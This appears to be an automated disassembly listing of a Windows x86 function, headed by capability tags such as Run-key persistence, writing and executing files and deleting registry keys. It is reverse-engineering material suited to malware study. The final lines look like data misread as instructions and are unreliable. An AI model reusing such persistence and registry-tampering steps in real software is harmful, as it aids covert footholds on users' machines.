Function at 0x418114
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2e
push 0
push 0
dec ecx
jne 0x41811c
push ecx
push ebx
push esi
push edi
mov edi, 0x42ab30
mov esi, 0x42aaf8
mov ebx, 0x42ab7b
xor eax, eax
push ebp
push 0x4197b1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, 0x4197c8
call fcn.004040c0
cmp byte [0x42ab7c], 0x66
jne 0x4181c0
mov eax, edi
mov edx, 0x419860
call fcn.004040c0
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x41987c
mov edx, 0x41988c
mov eax, 0x80000002
call fcn.00407d94
mov edx, dword [ebp - 4]
mov eax, 0x42ab04
call fcn.004040c0
cmp byte [0x42ab79], 0
jne 0x4181c0
mov eax, edi
mov edx, 0x4198d4
call fcn.004040c0
push 0x2710
call sub.kernel32.dll_Sleep
mov eax, dword [0x42ab04]
call fcn.00407c34
mov byte [ebx], al
mov eax, edi
mov edx, 0x419988
call fcn.004040c0
push 0x41988c
mov ecx, 0x41987c
mov eax, 0x80000002
pop edx
call fcn.0040825c
lea eax, [ebp - 8]
call fcn.00407ad8
mov edx, dword [ebp - 8]
mov eax, 0x42aaf4
call fcn.004040c0
lea eax, [ebp - 0xc]
call fcn.00407b44
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.004040c0
mov eax, edi
mov edx, 0x419a18
call fcn.004040c0
mov eax, 0x42aafc
mov ecx, 0x419a4c
mov edx, dword [esi]
call fcn.00404354
mov eax, edi
mov edx, 0x419a5c
call fcn.004040c0
mov eax, dword [0x42ab04]
call fcn.00404308
test eax, eax
jne 0x418250
mov eax, 0x42ab04
mov ecx, 0x419b0c
mov edx, dword [esi]
call fcn.00404354
mov eax, 0x42920c
mov ecx, dword [0x42920c]
mov edx, dword [esi]
call fcn.00404354
mov eax, edi
mov edx, 0x419b1c
call fcn.004040c0
mov eax, 0x42aaec
mov ecx, 0x419bbc
mov edx, dword [0x42920c]
call fcn.00404354
mov eax, edi
mov edx, 0x419860
call fcn.004040c0
mov eax, 0x42aaf0
mov ecx, 0x419bd0
mov edx, dword [0x42920c]
call fcn.00404354
xor eax, eax
mov dword [0x42ab80], eax
call fcn.0041b438
mov eax, edi
mov edx, 0x419be4
call fcn.004040c0
mov eax, edi
mov edx, 0x419c10
call fcn.004040c0
cmp byte [0x42ab79], 0
je 0x41852e
mov eax, 0x419cd8
call fcn.00407168
push 0xbb8
call sub.kernel32.dll_Sleep
call fcn.00407cb4
mov eax, edi
mov edx, 0x419cf0
call fcn.004040c0
lea eax, [ebp - 0x10]
mov ecx, 0x419d14
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x10]
call fcn.0040701c
lea eax, [ebp - 0x14]
mov ecx, 0x419d28
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x14]
call fcn.0040701c
mov eax, dword [0x42aaec]
call fcn.0040701c
mov eax, edi
mov edx, 0x419d3c
call fcn.004040c0
mov ecx, 0x419b0c
mov edx, 0x419da4
mov eax, 0x80000002
call fcn.0040825c
mov ecx, 0x419b0c
mov edx, 0x419ddc
mov eax, 0x80000002
call fcn.0040825c
mov ecx, 0x419b0c
mov edx, 0x419e1c
mov eax, 0x80000001
call fcn.0040825c
mov edx, 0x419da4
mov ecx, 0x419e64
mov eax, 0x80000001
call fcn.0040825c
mov edx, 0x419e1c
mov ecx, 0x419e74
mov eax, 0x80000002
call fcn.0040825c
lea eax, [ebp - 0x18]
mov ecx, 0x419e84
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x18]
call fcn.0040701c
lea eax, [ebp - 0x1c]
mov ecx, 0x419e98
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x1c]
call fcn.0040701c
lea eax, [ebp - 0x20]
mov ecx, 0x419eac
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x20]
call fcn.0040701c
lea eax, [ebp - 0x24]
mov ecx, 0x419ec0
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x24]
call fcn.0040701c
lea eax, [ebp - 0x28]
mov ecx, 0x419ed4
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x28]
call fcn.0040701c
lea eax, [ebp - 0x2c]
mov ecx, 0x419ee8
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x2c]
call fcn.0040701c
lea eax, [ebp - 0x30]
mov ecx, 0x419efc
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x30]
call fcn.0040701c
push 0x419f08
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x419f34
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x419f7c
call fcn.00416490
mov eax, edi
mov edx, 0x419f88
call fcn.004040c0
mov eax, 0x419fa0
call fcn.00416490
mov eax, edi
mov edx, 0x419fac
call fcn.004040c0
mov eax, 0x41a018
call fcn.00416490
mov eax, edi
mov edx, 0x41a024
call fcn.004040c0
mov eax, dword [0x42aaf0]
call fcn.0040701c
mov eax, edi
mov edx, 0x41a05c
call fcn.004040c0
push 0x200040
push 0x41a10c
push 0x41a124
lea edx, [ebp - 0x38]
mov eax, 0x8f
call fcn.00406920
push dword [ebp - 0x38]
push 0x41a130
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.004043c8
mov eax, dword [ebp - 0x34]
call fcn.00404508
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x419cd8
lea eax, [ebp - 0x3c]
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x3c]
call fcn.00404508
push eax
push 0x41a148
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00407074
jmp 0x419793
push 0
mov eax, dword [0x42920c]
call fcn.00404508
push eax
call sub.kernel32.dll_CreateDirectoryA
call sub.kernel32.dll_GetVersion_1
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x42ab78]
cmp byte [0x42ab78], 0
je 0x418568
call fcn.00407548
mov eax, edi
mov edx, 0x41a158
call fcn.004040c0
mov eax, dword [0x4296b4]
push eax
mov edx, 0x41988c
mov ecx, 0x41a198
mov eax, 0x80000002
call fcn.00407ce0
push eax
call fcn.00406b78
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x419793
mov eax, edi
mov edx, 0x41a024
call fcn.004040c0
lea edx, [ebp - 0x40]
mov eax, dword [0x42ab04]
call fcn.00406ba8
mov edx, dword [ebp - 0x40]
mov eax, 0x42ab08
call fcn.004040c0
call fcn.004029b4
lea edx, [ebp - 0x44]
mov eax, 0x41a1a4
call fcn.004075fc
mov edx, dword [ebp - 0x44]
mov eax, 0x42ab34
call fcn.004040c0
mov eax, edi
mov edx, 0x41a1d4
call fcn.004040c0
mov eax, 0x42ab00
mov edx, 0x41a214
call fcn.004040c0
lea eax, [ebp - 0x4c]
mov ecx, dword [0x42ab00]
mov edx, 0x41a230
call fcn.00404354
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.004075fc
mov edx, dword [ebp - 0x48]
mov eax, 0x42ab38
call fcn.004040c0
mov eax, edi
mov edx, 0x41a244
call fcn.004040c0
push 1
push 0x96
push 0x222e1
mov ecx, 0x419e84
lea eax, [ebp - 0x50]
mov edx, dword [esi]
call fcn.00404354
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [0x42ab04]
call fcn.00406d6c
mov byte [ebx], al
mov ecx, 0x419e84
lea eax, [ebp - 0x54]
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x54]
call fcn.00407c34
mov byte [ebx], al
mov eax, dword [0x4296b4]
push eax
mov edx, 0x41988c
mov ecx, 0x41a310
mov eax, 0x80000002
call fcn.00407ce0
mov dword [0x42ab70], eax
cmp dword [0x42ab70], 0x8f
jge 0x418794
cmp byte [ebx], 0
jne 0x418704
mov ecx, 0x419e84
lea eax, [ebp - 0x58]
mov edx, dword [esi]
call fcn.00404354
mov edx, dword [ebp - 0x58]
mov eax, dword [0x42ab04]
call fcn.00404454
je 0x418704
mov eax, 0x419e84
call fcn.00407168
push 1
push 0x96
push 0x222e1
mov ecx, 0x419e84
lea eax, [ebp - 0x5c]
mov edx, dword [esi]
call fcn.00404354
mov edx, dword [ebp - 0x5c]
mov cl, 1
mov eax, dword [0x42ab04]
call fcn.00406d6c
mov byte [ebx], al
mov eax, edi
mov edx, 0x41a320
call fcn.004040c0
cmp byte [ebx], 0
je 0x418794
push 0x8f
mov ecx, 0x41a310
mov edx, 0x41988c
mov eax, 0x80000002
call fcn.00407f58
mov byte [ebx], al
cmp dword [0x42ab70], 0
jle 0x41875a
lea edx, [ebp - 0x60]
mov eax, dword [0x42ab70]
call fcn.00406920
mov ecx, dword [ebp - 0x60]
mov eax, 0x42ab00
mov edx, 0x41a344
call fcn.00404354
jmp 0x418764
mov eax, 0x42ab00
call fcn.0040406c
push 0x41a354
lea edx, [ebp - 0x68]
mov eax, 0x8f
call fcn.00406920
push dword [ebp - 0x68]
push dword [0x42ab00]
lea eax, [ebp - 0x64]
mov edx, 3
call fcn.004043c8
mov eax, dword [ebp - 0x64]
call fcn.0041b55c
mov eax, edi
mov edx, 0x41a368
call fcn.004040c0
call fcn.00408f40
push 1
push 0x96
push 0x222e1
mov ecx, 0x419e98
lea eax, [ebp - 0x6c]
mov edx, dword [esi]
call fcn.00404354
mov edx, dword [ebp - 0x6c]
xor ecx, ecx
mov eax, dword [0x42ab04]
call fcn.00406d6c
mov byte [ebx], al
mov ecx, 0x419e98
lea eax, [ebp - 0x70]
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x70]
call fcn.00407c34
mov byte [ebx], al
push 1
push 0x96
push 0x222e1
mov ecx, 0x419eac
lea eax, [ebp - 0x74]
mov edx, dword [esi]
call fcn.00404354
mov edx, dword [ebp - 0x74]
xor ecx, ecx
mov eax, dword [0x42ab04]
call fcn.00406d6c
mov byte [ebx], al
mov ecx, 0x419eac
lea eax, [ebp - 0x78]
mov edx, dword [esi]
call fcn.00404354
mov eax, dword [ebp - 0x78]
call fcn.00407c34
mov byte [ebx], al
mov ecx, 0x419ee8
lea eax, [ebp - 0x7c]
mov edx, dword [esi]
call fcn.00404354
dec dword [ebx - 0x45177bbb]
in eax, 0xfe
inc dword [eax + eax*8 + 0x82850f]
add byte [eax], al